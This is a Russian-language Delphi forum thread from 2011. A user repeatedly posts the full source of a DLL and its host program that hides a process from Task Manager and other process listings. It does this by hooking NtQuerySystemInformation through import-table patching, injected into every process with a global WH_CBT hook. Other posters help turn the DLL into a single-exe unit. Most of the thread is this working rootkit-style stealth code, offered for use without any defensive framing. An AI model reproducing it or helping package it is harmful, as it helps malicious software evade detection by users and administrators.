переписать dll

medvedoff · #1 13.05.2011, 20:37

Доброго времяни суток, Уважаемые знатоки!!!! Столкнулся со следующей проблемой: Есть динамическая библиотека и программка которая с ней работает, мне же хотелось бы код динамической библиотеки переделать под unit и подключить к программке, чтобы в последствии не возиться с динамичкой и при компилляции готового проекта был только один файл exe.
Помогите пожалуйста, очень хочу разобраться, если конечно этот вопрос решаемый.

Код dll' ки:

Код:

library Project2;
uses
  Windows,
  SysUtils,
  ImageHlp,
  TlHelp32;

type SYSTEM_INFORMATION_CLASS = (

  SystemBasicInformation,

  SystemProcessorInformation,

  SystemPerformanceInformation,

  SystemTimeOfDayInformation,

  SystemNotImplemented1,

  SystemProcessesAndThreadsInformation,

  SystemCallCounts,

  SystemConfigurationInformation,

  SystemProcessorTimes,

  SystemGlobalFlag,

  SystemNotImplemented2,

  SystemModuleInformation,

  SystemLockInformation,

  SystemNotImplemented3,

  SystemNotImplemented4,

  SystemNotImplemented5,

  SystemHandleInformation,

  SystemObjectInformation,

  SystemPagefileInformation,

  SystemInstructionEmulationCounts,

  SystemInvalidInfoClass1,

  SystemCacheInformation,

  SystemPoolTagInformation,

  SystemProcessorStatistics,

  SystemDpcInformation,

  SystemNotImplemented6,

  SystemLoadImage,

  SystemUnloadImage,

  SystemTimeAdjustment,

  SystemNotImplemented7,

  SystemNotImplemented8,

  SystemNotImplemented9,

  SystemCrashDumpInformation,

  SystemExceptionInformation,

  SystemCrashDumpStateInformation,

  SystemKernelDebuggerInformation,

  SystemContextSwitchInformation,

  SystemRegistryQuotaInformation,

  SystemLoadAndCallImage,

  SystemPrioritySeparation,

  SystemNotImplemented10,

  SystemNotImplemented11,

  SystemInvalidInfoClass2,

  SystemInvalidInfoClass3,

  SystemTimeZoneInformation,

  SystemLookasideInformation,

  SystemSetTimeSlipEvent,

  SystemCreateSession,

  SystemDeleteSession,

  SystemInvalidInfoClass4,

  SystemRangeStartInformation,
  SystemVerifierInformation,
  SystemAddVerifier,
  SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DEsсriptOR = packed record
  case Integer of
    0:(
      Characteristics: DWORD);
    1:(
      OriginalFirstThunk:DWORD;
      TimeDateStamp:DWORD;
      ForwarderChain: DWORD;
      Name: DWORD;
      FirstThunk: DWORD);
end;
IMAGE_IMPORT_DEsсriptOR=_IMAGE_IMPORT_DEsсriptOR;
PIMAGE_IMPORT_DEsсriptOR=^IMAGE_IMPORT_DEsсriptOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: PAnsichar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);

var ulSize: ULONG;
    pImportDesc: PIMAGE_IMPORT_DEsсriptOR;
    pszModName: PAnsiChar;
    pThunk: PDWORD; ppfn:PFARPROC;
    ffound: LongBool;
    written: DWORD;

begin
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name <> 0 do begin
    pszModName := PAnsiChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
  end;

  if (pImportDesc.Name = 0) then exit;
  pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^ <> 0 do begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
    if (fFound) then begin

VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
    end;
    Inc(pThunk);
  end;
end;

var addr_NtQuerySystemInformation: Pointer;
    mypid: DWORD;
    fname: PCHAR;
    mapaddr: PDWORD;
    hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;

asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl quit
  cmp SystemInformationClass, SystemProcessesAndThreadsInformation
  jne quit
  onceagain:
  mov esi, SystemInformation
  getnextpidstruct:
  mov ebx, esi
  cmp dword ptr [esi],0
  je quit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne getnextpidstruct
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp onceagain
  fillzero:
  and [ebx], edx
  jmp onceagain
  quit:
  mov Result, eax
end;

procedure InterceptFunctions;
var hSnapShot: THandle;
    me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
    me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
  Result:=0;
end;

procedure InstallHook; stdcall;
begin
  HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
    ptr2: PBOOL;
begin
  mypid:=0;
  result:=false;

hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;
  addrMap^:=pid;
  ptr2:=PBOOL(DWORD(addrMap)+4);
  ptr2^:=HideOnlyFromTaskManager;
  UnmapViewOfFile(addrMap);
  InstallHook;
  result:=true;
end;

exports HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then UninterceptFunctions()
  else CloseHandle(hFirstMapHandle);
end;

begin
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
    mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
    mypid:=mapaddr^;
    hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
    InterceptFunctions;
  finally
    UnmapViewOfFile(mapaddr);
    CloseHandle(Hmap);
    DLLProc:=@LibraryProc;
  end;
end.

Код программки работающей с этой библиотекой:

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  end;

var
  Form1: TForm1;

implementation

{ экспортируемая функция: первый параметр - идентификатор процесса, HideOnlyFromTaskManager - нужно ли прятать процесс только
  от TaskManager'а, или же от остальных программ, использующих для получения списка процессов функцию NtQuerySystemInformation }

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external 'project2.dll';
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  HideProcess(GetCurrentProcessId, false);
end;

end.

Человек_Борща · #2 13.05.2011, 23:01

А чего сложного-то?

Library на unit замени. Код бежду begin .. end. помести в initialisation

medvedoff · #3 14.05.2011, 00:01

переписал dll теперь стала unit2:

Код:

unit Unit2;

interface

uses
  Windows, SysUtils, ImageHlp, TlHelp32;

type SYSTEM_INFORMATION_CLASS = (

  SystemBasicInformation,

  SystemProcessorInformation,

  SystemPerformanceInformation,

  SystemTimeOfDayInformation,

  SystemNotImplemented1,

  SystemProcessesAndThreadsInformation,

  SystemCallCounts,

  SystemConfigurationInformation,

  SystemProcessorTimes,

  SystemGlobalFlag,

  SystemNotImplemented2,

  SystemModuleInformation,

  SystemLockInformation,

  SystemNotImplemented3,

  SystemNotImplemented4,

  SystemNotImplemented5,

  SystemHandleInformation,

  SystemObjectInformation,

  SystemPagefileInformation,

  SystemInstructionEmulationCounts,

  SystemInvalidInfoClass1,

  SystemCacheInformation,

  SystemPoolTagInformation,

  SystemProcessorStatistics,

  SystemDpcInformation,

  SystemNotImplemented6,

  SystemLoadImage,

  SystemUnloadImage,

  SystemTimeAdjustment,

  SystemNotImplemented7,

  SystemNotImplemented8,

  SystemNotImplemented9,

  SystemCrashDumpInformation,

  SystemExceptionInformation,

  SystemCrashDumpStateInformation,

  SystemKernelDebuggerInformation,

  SystemContextSwitchInformation,

  SystemRegistryQuotaInformation,

  SystemLoadAndCallImage,

  SystemPrioritySeparation,

  SystemNotImplemented10,

  SystemNotImplemented11,

  SystemInvalidInfoClass2,

  SystemInvalidInfoClass3,

  SystemTimeZoneInformation,

  SystemLookasideInformation,

  SystemSetTimeSlipEvent,

  SystemCreateSession,

  SystemDeleteSession,

  SystemInvalidInfoClass4,

  SystemRangeStartInformation,
  SystemVerifierInformation,
  SystemAddVerifier,
  SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DEsсriptOR = packed record
  case Integer of
    0:(
      Characteristics: DWORD);
    1:(
      OriginalFirstThunk:DWORD;
      TimeDateStamp:DWORD;
      ForwarderChain: DWORD;
      Name: DWORD;
      FirstThunk: DWORD);
end;
IMAGE_IMPORT_DEsсriptOR=_IMAGE_IMPORT_DEsсriptOR;
PIMAGE_IMPORT_DEsсriptOR=^IMAGE_IMPORT_DEsсriptOR;

PFARPROC=^FARPROC;

implementation
procedure ReplaceIATEntryInOneMod(pszCallerModName: PAnsichar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);

var ulSize: ULONG;
    pImportDesc: PIMAGE_IMPORT_DEsсriptOR;
    pszModName: PAnsiChar;
    pThunk: PDWORD; ppfn:PFARPROC;
    ffound: LongBool;
    written: DWORD;

begin
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name <> 0 do begin
    pszModName := PAnsiChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
  end;

  if (pImportDesc.Name = 0) then exit;
  pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^ <> 0 do begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
    if (fFound) then begin

VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
    end;
    Inc(pThunk);
  end;
end;

var addr_NtQuerySystemInformation: Pointer;
    mypid: DWORD;
    fname: PCHAR;
    mapaddr: PDWORD;
    hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;

asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl quit
  cmp SystemInformationClass, SystemProcessesAndThreadsInformation
  jne quit
  onceagain:
  mov esi, SystemInformation
  getnextpidstruct:
  mov ebx, esi
  cmp dword ptr [esi],0
  je quit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne getnextpidstruct
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp onceagain
  fillzero:
  and [ebx], edx
  jmp onceagain
  quit:
  mov Result, eax
end;

procedure InterceptFunctions;
var hSnapShot: THandle;
    me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
    me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
  Result:=0;
end;

procedure InstallHook; stdcall;
begin
  HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
    ptr2: PBOOL;
begin
  mypid:=0;
  result:=false;

hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;
  addrMap^:=pid;
  ptr2:=PBOOL(DWORD(addrMap)+4);
  ptr2^:=HideOnlyFromTaskManager;
  UnmapViewOfFile(addrMap);
  InstallHook;
  result:=true;
end;

exports HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then UninterceptFunctions()
  else CloseHandle(hFirstMapHandle);
end;

begin
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
    mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
    mypid:=mapaddr^;
    hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
    InterceptFunctions;
  finally
    UnmapViewOfFile(mapaddr);
    CloseHandle(Hmap);
    DLLProc:=@LibraryProc;
  end;
end.
end.

код программы подправил:

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, unit2;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  HideProcess(GetCurrentProcessId, false);
end;

end.

выдаёт ошибку "[DCC Error] Unit1.pas(24): E2003 Undeclared identifier: 'HideProcess'" при вызове функции HideProcess(GetCurrentProcessId, false). Что делать? Ведь в uses прописан unit2...что дальше посоветуете?

lmikle · #4 14.05.2011, 01:26

Имена вызываемых функций в секцию Interface скопируй. Просто функция у тебя в модуле есть, но она из него не экспортируется и, как следствие, не видна из других модулей.

medvedoff · #5 16.05.2011, 16:27

подправил unit2:

Код:

unit Unit2;

interface

uses
  Windows, SysUtils, ImageHlp, TlHelp32, Messages, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

  function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;

type
  SYSTEM_INFORMATION_CLASS = (

    SystemBasicInformation,

    SystemProcessorInformation,

    SystemPerformanceInformation,

    SystemTimeOfDayInformation,

    SystemNotImplemented1,

    SystemProcessesAndThreadsInformation,

    SystemCallCounts,

    SystemConfigurationInformation,

    SystemProcessorTimes,

    SystemGlobalFlag,

    SystemNotImplemented2,

    SystemModuleInformation,

    SystemLockInformation,

    SystemNotImplemented3,

    SystemNotImplemented4,

    SystemNotImplemented5,

    SystemHandleInformation,

    SystemObjectInformation,

    SystemPagefileInformation,

    SystemInstructionEmulationCounts,

    SystemInvalidInfoClass1,

    SystemCacheInformation,

    SystemPoolTagInformation,

    SystemProcessorStatistics,

    SystemDpcInformation,

    SystemNotImplemented6,

    SystemLoadImage,

    SystemUnloadImage,

    SystemTimeAdjustment,

    SystemNotImplemented7,

    SystemNotImplemented8,

    SystemNotImplemented9,

    SystemCrashDumpInformation,

    SystemExceptionInformation,

    SystemCrashDumpStateInformation,

    SystemKernelDebuggerInformation,

    SystemContextSwitchInformation,

    SystemRegistryQuotaInformation,

    SystemLoadAndCallImage,

    SystemPrioritySeparation,

    SystemNotImplemented10,

    SystemNotImplemented11,

    SystemInvalidInfoClass2,

    SystemInvalidInfoClass3,

    SystemTimeZoneInformation,

    SystemLookasideInformation,

    SystemSetTimeSlipEvent,

    SystemCreateSession,

    SystemDeleteSession,

    SystemInvalidInfoClass4,

    SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier,
    SystemSessionProcessesInformation);

  _IMAGE_IMPORT_DEsсriptOR = packed record
    case Integer of
      0:
        (Characteristics: DWORD);
      1:
        (OriginalFirstThunk: DWORD;
          TimeDateStamp: DWORD;
          ForwarderChain: DWORD;
          Name: DWORD;
          FirstThunk: DWORD);
    end;

  IMAGE_IMPORT_DEsсriptOR = _IMAGE_IMPORT_DEsсriptOR;
  PIMAGE_IMPORT_DEsсriptOR = ^IMAGE_IMPORT_DEsсriptOR;
  PFARPROC = ^FARPROC;

implementation

procedure ReplaceIATEntryInOneMod(pszCallerModName: PAnsichar;
  pfnCurrent: FARPROC; pfnNew: FARPROC; hmodCaller: hModule);

var
  ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DEsсriptOR;
  pszModName: PAnsichar;
  pThunk: PDWORD;
  ppfn: PFARPROC;
  ffound: LongBool;
  written: DWORD;

begin
  pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,
    IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then
    exit;
  while pImportDesc.Name <> 0 do
  begin
    pszModName := PAnsichar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
      break;
    Inc(pImportDesc);
  end;

  if (pImportDesc.Name = 0) then
    exit;
  pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^ <> 0 do
  begin
    ppfn := PFARPROC(pThunk);
    ffound := (ppfn^ = pfnCurrent);
    if (ffound) then
    begin

      VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE,
        written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
        written);
      exit;
    end;
    Inc(pThunk);
  end;
end;

var
  addr_NtQuerySystemInformation: Pointer;
  mypid: DWORD;
  fname: PCHAR;
  mapaddr: PDWORD;
  hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
  SystemInformation: Pointer; SystemInformationLength: ULONG;
  ReturnLength: PULONG): LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;

asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl quit
  cmp SystemInformationClass, SystemProcessesAndThreadsInformation
  jne quit
  onceagain:
  mov esi, SystemInformation
  getnextpidstruct:
  mov ebx, esi
  cmp dword ptr [esi],0
  je quit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne getnextpidstruct
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp onceagain
  fillzero:
  and [ebx], edx
  jmp onceagain
  quit:
  mov Result, eax
end
;

  procedure InterceptFunctions;
  var
    hSnapShot: THandle;
    me32: MODULEENTRY32;
  begin
    addr_NtQuerySystemInformation := GetProcAddress
      (getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
    hSnapShot := CreateToolHelp32SnapShot
      (TH32CS_SNAPMODULE, GetCurrentProcessId);
    if hSnapShot = INVALID_HANDLE_VALUE then
      exit;
    try
      ZeroMemory(@me32, sizeof(MODULEENTRY32));
      me32.dwSize := sizeof(MODULEENTRY32);
      Module32First(hSnapShot, me32);
      repeat
        ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
          @myNtQuerySystemInfo, me32.hModule);
      until not Module32Next(hSnapShot, me32);
    finally
      CloseHandle(hSnapShot);
    end;
  end;

  procedure UninterceptFunctions;
  var
    hSnapShot: THandle;
    me32: MODULEENTRY32;
  begin
    addr_NtQuerySystemInformation := GetProcAddress
      (getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
    hSnapShot := CreateToolHelp32SnapShot
      (TH32CS_SNAPMODULE, GetCurrentProcessId);
    if hSnapShot = INVALID_HANDLE_VALUE then
      exit;
    try
      ZeroMemory(@me32, sizeof(MODULEENTRY32));
      me32.dwSize := sizeof(MODULEENTRY32);
      Module32First(hSnapShot, me32);
      repeat
        ReplaceIATEntryInOneMod('ntdll.dll', @myNtQuerySystemInfo,
          addr_NtQuerySystemInformation, me32.hModule);
      until not Module32Next(hSnapShot, me32);
    finally
      CloseHandle(hSnapShot);
    end;
  end;

var
  HookHandle: THandle;

  function CbtProc(code: Integer; wparam: Integer; lparam: Integer): Integer;
    stdcall;
  begin
    Result := 0;
  end;

  procedure InstallHook; stdcall;
  begin
    HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
  end;

var
  hFirstMapHandle: THandle;

  function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL;
    stdcall;
  var
    addrMap: PDWORD;
    ptr2: PBOOL;
  begin

    mypid := 0;
    Result := false;

    hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
      'NtHideFileMapping');
    if hFirstMapHandle = 0 then
      exit;
    addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
    if addrMap = nil then
    begin
      CloseHandle(hFirstMapHandle);
      exit;
    end;
    addrMap^ := pid;
    ptr2 := PBOOL(DWORD(addrMap) + 4);
    ptr2^ := HideOnlyFromTaskManager;
    UnmapViewOfFile(addrMap);
    InstallHook;
    Result := TRUE;
    showmessage('!!!');
  end;

exports HideProcess;

var
  hmap: THandle;

  procedure LibraryProc(Reason: Integer);
  begin
    if Reason = DLL_PROCESS_DETACH then
      if mypid > 0 then
        UninterceptFunctions()
      else
        CloseHandle(hFirstMapHandle);
  end;

begin
  hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping');
  if hmap = 0 then
    exit;
  try
    mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
    if mapaddr = nil then
      exit;
    mypid := mapaddr^;
    hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
    if hideOnlyTaskMan^ then
    begin
      fname := allocMem(MAX_PATH + 1);
      GetModuleFileName(getModuleHandle(nil), fname, MAX_PATH + 1);
      if not(ExtractFileName(fname) = 'taskmgr.exe') then
        exit;
    end;
    InterceptFunctions;
  finally
    UnmapViewOfFile(mapaddr);
    CloseHandle(hmap);
    DLLProc := @LibraryProc;
  end;

end.

  end.

unit1 не трогал, теперь проект компилируется без ошибок и запускается. (НО!!!) программа должным образом не работает. Т.е. при вызове функции HideProcess программа должна прятаться из диспетчера задач, но она остается, самое интересное что функция HideProcess вызывается и исполняется до конца, потому как в конец к ней, для проверки я приписал ShowMessage, который, собсно исправно выводится...укого нибудь есть догадки?....

Опции темы	Поиск в этой теме
Версия для печати Отправить на Email	Поиск в этой теме: Расширенный поиск
Опции просмотра
Линейный вид Комбинированный вид Древовидный вид

	Сайт	Форум	FAQ	Соглашения	Прочее
	Новости Исходники Компоненты Статьи Добавить исходник Поиск	Правила Поиск Сообщения за сегодня Пользователи Кто на форуме?	Delphi FAQ - 5000 статей DRKB - 4500 статей (ZIP-архив) Справочник функций и процедур Delphi Delphi Programming Guide Indy in Depth. Глубины Indy	Конфиденциальность Соглашение пользователя Правила обработки cookie	О сайте Donate Контакты